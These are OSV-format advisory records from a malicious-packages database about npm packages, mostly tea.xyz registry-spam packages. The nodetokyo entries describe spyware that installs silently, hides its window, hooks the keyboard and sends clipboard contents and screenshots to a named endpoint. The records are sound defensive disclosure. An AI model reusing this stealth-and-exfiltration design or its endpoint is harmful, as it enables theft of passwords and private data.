{"schema_version":"1.9.2","id":"MAL-2025-170660","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.579116675Z","aliases":["GHSA-q7vw-jfcf-5h62"],"summary":"Malicious code in adilnabeel (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (06be0c879695905102a4db43344b3ade55d9ad3ead5ceca321abb0e2bff4f16f)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (7d18aeda87221f472ac26807e1d90c1b28b82a8dc61b4bf3ae0789d380afcc4f)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adilnabeel","ecosystem":"npm","purl":"pkg:npm/adilnabeel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adilnabeel/MAL-2025-170660.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q7vw-jfcf-5h62"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:21.0778261Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"06be0c879695905102a4db43344b3ade55d9ad3ead5ceca321abb0e2bff4f16f","source":"amazon-inspector"},{"id":"GHSA-q7vw-jfcf-5h62","import_time":"2026-11-18T19:17:37.792790737Z","modified_time":"2026-11-18T18:26:50Z","sha256":"7d18aeda87221f472ac26807e1d90c1b28b82a8dc61b4bf3ae0789d380afcc4f","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-170665","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adiwibowo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ef65bcf7279dcb2e1bc6dcedf89e910e392df4af4924a8f46f9a80e84b9c9da2)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adiwibowo","ecosystem":"npm","purl":"pkg:npm/adiwibowo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adiwibowo/MAL-2025-170665.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:09:53.781295028Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"ef65bcf7279dcb2e1bc6dcedf89e910e392df4af4924a8f46f9a80e84b9c9da2","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-170665","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:04.566522493Z","aliases":["GHSA-85cw-8h66-5jfr"],"summary":"Malicious code in adiwibowo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ef65bcf7279dcb2e1bc6dcedf89e910e392df4af4924a8f46f9a80e84b9c9da2)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (5bdf77d3bf763bac78b88ad3480c5b4d93515e08972e8c5b4b94dcd0ff39c4ad)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adiwibowo","ecosystem":"npm","purl":"pkg:npm/adiwibowo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adiwibowo/MAL-2025-170665.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-85cw-8h66-5jfr"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:09:53.781295028Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"ef65bcf7279dcb2e1bc6dcedf89e910e392df4af4924a8f46f9a80e84b9c9da2","source":"amazon-inspector"},{"id":"GHSA-85cw-8h66-5jfr","import_time":"2026-11-18T19:17:37.776668047Z","modified_time":"2026-11-18T18:29:38Z","sha256":"5bdf77d3bf763bac78b88ad3480c5b4d93515e08972e8c5b4b94dcd0ff39c4ad","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-170674","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adnanwaleed (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e9de8218cdb2c88c57a898f797875bc09b409ddda2d387d3d7082a0d8fee6010)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adnanwaleed","ecosystem":"npm","purl":"pkg:npm/adnanwaleed"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adnanwaleed/MAL-2025-170674.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:57.840133632Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"e9de8218cdb2c88c57a898f797875bc09b409ddda2d387d3d7082a0d8fee6010","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-170674","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.583876150Z","aliases":["GHSA-24fx-2xw3-w835"],"summary":"Malicious code in adnanwaleed (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e9de8218cdb2c88c57a898f797875bc09b409ddda2d387d3d7082a0d8fee6010)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (0f3f06c9c23e0ff434b9340f42b572dc66bc71ad50e7aea6cded5b0f91267ae1)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adnanwaleed","ecosystem":"npm","purl":"pkg:npm/adnanwaleed"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adnanwaleed/MAL-2025-170674.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-24fx-2xw3-w835"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:57.840133632Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"e9de8218cdb2c88c57a898f797875bc09b409ddda2d387d3d7082a0d8fee6010","source":"amazon-inspector"},{"id":"GHSA-24fx-2xw3-w835","import_time":"2026-11-18T19:17:37.72073584Z","modified_time":"2026-11-18T18:50:39Z","sha256":"0f3f06c9c23e0ff434b9340f42b572dc66bc71ad50e7aea6cded5b0f91267ae1","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-170675","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in adnanyahya (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (34b5a6dc434498753c10e3ab96635f69a026c3283c0776c974c6506590f1126e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"adnanyahya","ecosystem":"npm","purl":"pkg:npm/adnanyahya"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adnanyahya/MAL-2025-170675.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:36.803038955Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"34b5a6dc434498753c10e3ab96635f69a026c3283c0776c974c6506590f1126e","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-170675","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.570695112Z","aliases":["GHSA-266h-2r44-vrfv"],"summary":"Malicious code in adnanyahya (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (34b5a6dc434498753c10e3ab96635f69a026c3283c0776c974c6506590f1126e)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (0f16ea8c28f63ca190dd7dea7e18b9e149f024fb7fa699e15fb3885a1bc9e468)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"adnanyahya","ecosystem":"npm","purl":"pkg:npm/adnanyahya"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/adnanyahya/MAL-2025-170675.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-266h-2r44-vrfv"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:10:36.803038955Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"34b5a6dc434498753c10e3ab96635f69a026c3283c0776c974c6506590f1126e","source":"amazon-inspector"},{"id":"GHSA-266h-2r44-vrfv","import_time":"2026-11-18T19:17:37.769215118Z","modified_time":"2026-11-18T18:52:01Z","sha256":"0f16ea8c28f63ca190dd7dea7e18b9e149f024fb7fa699e15fb3885a1bc9e468","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-170692","published":"2025-11-12T18:00:57Z","modified":"2025-11-12T18:00:57Z","summary":"Malicious code in ahmad-basikal (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b41156f912efa3932a6faa63e698fff9bd720adb931256103861616809f7910b)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"ahmad-basikal","ecosystem":"npm","purl":"pkg:npm/ahmad-basikal"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ahmad-basikal/MAL-2025-170692.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:00.047395759Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"b41156f912efa3932a6faa63e698fff9bd720adb931256103861616809f7910b","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-170692","published":"2025-11-12T18:00:57Z","modified":"2026-11-18T19:45:03.571522030Z","aliases":["GHSA-x524-w3hq-7h99"],"summary":"Malicious code in ahmad-basikal (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b41156f912efa3932a6faa63e698fff9bd720adb931256103861616809f7910b)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (194e556abfd9031c31be090ef3e0ec55d244d9939038769cc14fc0ce3b30da47)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"ahmad-basikal","ecosystem":"npm","purl":"pkg:npm/ahmad-basikal"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ahmad-basikal/MAL-2025-170692.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x524-w3hq-7h99"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-12T18:11:00.047395759Z","modified_time":"2025-11-12T18:00:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"b41156f912efa3932a6faa63e698fff9bd720adb931256103861616809f7910b","source":"amazon-inspector"},{"id":"GHSA-x524-w3hq-7h99","import_time":"2026-11-18T19:17:37.800236433Z","modified_time":"2026-11-18T18:53:43Z","sha256":"194e556abfd9031c31be090ef3e0ec55d244d9939038769cc14fc0ce3b30da47","source":"ghsa-malware","versions":["1.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.7.3","id":"MAL-2025-99194","published":"2025-11-11T07:26:13Z","modified":"2025-11-11T07:26:13Z","summary":"Malicious code in administrative_lark_replicate_automation (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c972ac231690e458947de1aabd655ba0d43a3b95922afb04c6e7fc3a67688d7b)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n","affected":[{"package":{"name":"administrative_lark_replicate_automation","ecosystem":"npm","purl":"pkg:npm/administrative_lark_replicate_automation"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/administrative_lark_replicate_automation/MAL-2025-99194.json"}}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-11T07:41:56.515906152Z","modified_time":"2025-11-11T07:26:13Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"c972ac231690e458947de1aabd655ba0d43a3b95922afb04c6e7fc3a67688d7b","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2025-99194","published":"2025-11-11T07:26:13Z","modified":"2026-11-18T19:45:03.572303190Z","aliases":["GHSA-jhvj-53fv-pm4q"],"summary":"Malicious code in administrative_lark_replicate_automation (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c972ac231690e458947de1aabd655ba0d43a3b95922afb04c6e7fc3a67688d7b)\nThis package appears to be part of the tea.xyz token reward campaign that flooded npm. These packages typically contain autopublish scripts (auto.js, autopublish.js, autopublish2.js, autopublish3.js) designed to automatically generate and publish derivative packages with randomized names to inflate developer reputation scores for tea protocol token rewards. The malicious payload modifies package.json to remove private flags, changes version numbers, generates random Indonesian-themed package names (some variants are also in English), and continuously republishes variants to pollute the npm registry.\n\n## Source: ghsa-malware (ed85bd26caf1d3539f0f741b3926223cbce94846925adb9fd401c122d993ae06)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"administrative_lark_replicate_automation","ecosystem":"npm","purl":"pkg:npm/administrative_lark_replicate_automation"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["2.4.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/administrative_lark_replicate_automation/MAL-2025-99194.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jhvj-53fv-pm4q"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2025-11-11T07:41:56.515906152Z","modified_time":"2025-11-11T07:26:13Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"c972ac231690e458947de1aabd655ba0d43a3b95922afb04c6e7fc3a67688d7b","source":"amazon-inspector"},{"id":"GHSA-jhvj-53fv-pm4q","import_time":"2026-11-18T19:17:37.788988478Z","modified_time":"2026-11-18T18:31:34Z","sha256":"ed85bd26caf1d3539f0f741b3926223cbce94846925adb9fd401c122d993ae06","source":"ghsa-malware","versions":["2.4.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.9.0","id":"MAL-2026-16388","published":"2026-09-22T18:06:25Z","modified":"2026-09-22T18:45:05.952855613Z","summary":"Malicious code in nodetokyo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203)\nThe package's declared main (launcher.js) executes launch() at module top level, so require('nodetokyo') automatically installs Python 3.12 (via winget or by downloading the python.org installer and running it silently), pip-installs pyperclip/keyboard/requests/pillow/pyautogui, and spawns a detached, window-hidden background process running the bundled Python payload. That payload polls the OS clipboard every 300ms and, in auto-scan mode, captures full-screen screenshots every 30s, POSTing {'text':...} and {'image': <base64>} to the hardcoded endpoint https://nodetokyo.vercel.app/api (see API_URL in the bundled script; clipboard_monitor()/scan_screen call session.post(API_URL,...)). The destination is not caller-configurable. The payload also registers global system-wide keyboard hooks via the Python keyboard module (keyboard.on_press with suppress=True; keyboard.add_hotkey('ctrl+c',...)) and renders an always-on-top Tk window with overrideredirect(True) and -transparentcolor white to remain visually hidden, with a Ctrl+Q panic_exit. Package keywords include 'stealth' and the description advertises a 'Stealth Assistant'. Whatever the installer copies to the clipboard — including passwords, tokens, and private messages — and whatever appears on screen is transmitted to the author's endpoint without a per-item prompt.\n","affected":[{"package":{"name":"nodetokyo","ecosystem":"npm","purl":"pkg:npm/nodetokyo"},"versions":["1.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"client/noderzero.py","sha256":"483cdd8305dc2d3e9f3030707787cf8f5adf0c9c4d66ff20199f8844715e0993","tlsh":"cdc2d876a0085859f663dc1f8996b5132e1e3e437a4ca528bcfcb9950fcc32685e1ef1"},{"path":"launcher.js","sha256":"cb532713f8c9e3dcf4001791df872e9457581beb90e4171fe98b196bf2e21f1f","tlsh":"2871217655e15338b962d69ddb4f51232013b013b248e8987daeb3844fce114c0b3bfa"}],"package_integrity":[{"filename":"nodetokyo-1.0.8.tgz","hashes":{"sha1":"ca9ff17c70e93737cbc6ab49e4e9a213592eafea","sha512_sri":"sha512-Zxl2tj31S5xCmGdbUa72+NOWNQBKsd5RlMVRyXsWbhxX6bckFCy42rU94hYYBqqzxKerpOUqSOPCEoJ3GBv+lw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/nodetokyo/MAL-2026-16388.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/nodetokyo/v/1.0.8"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020295","import_time":"2026-09-22T18:23:45.103903358Z","modified_time":"2026-09-22T18:06:25Z","sha256":"9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203","source":"amazon-inspector","versions":["1.0.8"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2026-16388","published":"2026-09-22T18:06:25Z","modified":"2026-11-18T21:30:15.256608932Z","aliases":["GHSA-gx35-phhv-wc8w"],"summary":"Malicious code in nodetokyo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203)\nThe package's declared main (launcher.js) executes launch() at module top level, so require('nodetokyo') automatically installs Python 3.12 (via winget or by downloading the python.org installer and running it silently), pip-installs pyperclip/keyboard/requests/pillow/pyautogui, and spawns a detached, window-hidden background process running the bundled Python payload. That payload polls the OS clipboard every 300ms and, in auto-scan mode, captures full-screen screenshots every 30s, POSTing {'text':...} and {'image': <base64>} to the hardcoded endpoint https://nodetokyo.vercel.app/api (see API_URL in the bundled script; clipboard_monitor()/scan_screen call session.post(API_URL,...)). The destination is not caller-configurable. The payload also registers global system-wide keyboard hooks via the Python keyboard module (keyboard.on_press with suppress=True; keyboard.add_hotkey('ctrl+c',...)) and renders an always-on-top Tk window with overrideredirect(True) and -transparentcolor white to remain visually hidden, with a Ctrl+Q panic_exit. Package keywords include 'stealth' and the description advertises a 'Stealth Assistant'. Whatever the installer copies to the clipboard — including passwords, tokens, and private messages — and whatever appears on screen is transmitted to the author's endpoint without a per-item prompt.\n\n## Source: ghsa-malware (69518d18591c73f70251400ac01cc086a4d424edca612c33ca522767767bad1b)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"nodetokyo","ecosystem":"npm","purl":"pkg:npm/nodetokyo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"client/noderzero.py","sha256":"483cdd8305dc2d3e9f3030707787cf8f5adf0c9c4d66ff20199f8844715e0993","tlsh":"cdc2d876a0085859f663dc1f8996b5132e1e3e437a4ca528bcfcb9950fcc32685e1ef1"},{"path":"launcher.js","sha256":"cb532713f8c9e3dcf4001791df872e9457581beb90e4171fe98b196bf2e21f1f","tlsh":"2871217655e15338b962d69ddb4f51232013b013b248e8987daeb3844fce114c0b3bfa"}],"package_integrity":[{"filename":"nodetokyo-1.0.8.tgz","hashes":{"sha1":"ca9ff17c70e93737cbc6ab49e4e9a213592eafea","sha512_sri":"sha512-Zxl2tj31S5xCmGdbUa72+NOWNQBKsd5RlMVRyXsWbhxX6bckFCy42rU94hYYBqqzxKerpOUqSOPCEoJ3GBv+lw=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/nodetokyo/MAL-2026-16388.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/nodetokyo/v/1.0.8"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-gx35-phhv-wc8w"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-020295","import_time":"2026-09-22T18:23:45.103903358Z","modified_time":"2026-09-22T18:06:25Z","sha256":"9ec0e3f7b963353d4d2928e12ca3898cce5100ed3e3537383faa9c7f9a93f203","source":"amazon-inspector","versions":["1.0.8"]},{"id":"GHSA-gx35-phhv-wc8w","import_time":"2026-11-18T21:17:19.535799675Z","modified_time":"2026-11-18T21:02:27Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"69518d18591c73f70251400ac01cc086a4d424edca612c33ca522767767bad1b","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"MAL-2026-20138","published":"2026-11-18T21:02:26Z","modified":"2026-11-18T21:30:15.248904840Z","aliases":["GHSA-mjg5-fmpm-vgfv"],"summary":"Malicious code in expresstokyo (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (80aad200edbc4deb1ab47f50b6a3e640ed4c0a4246aaafe6832d67e6137915a9)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"expresstokyo","ecosystem":"npm","purl":"pkg:npm/expresstokyo"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/expresstokyo/MAL-2026-20138.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mjg5-fmpm-vgfv"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-mjg5-fmpm-vgfv","import_time":"2026-11-18T21:17:19.548067016Z","modified_time":"2026-11-18T21:02:27Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"80aad200edbc4deb1ab47f50b6a3e640ed4c0a4246aaafe6832d67e6137915a9","source":"ghsa-malware"}]}}
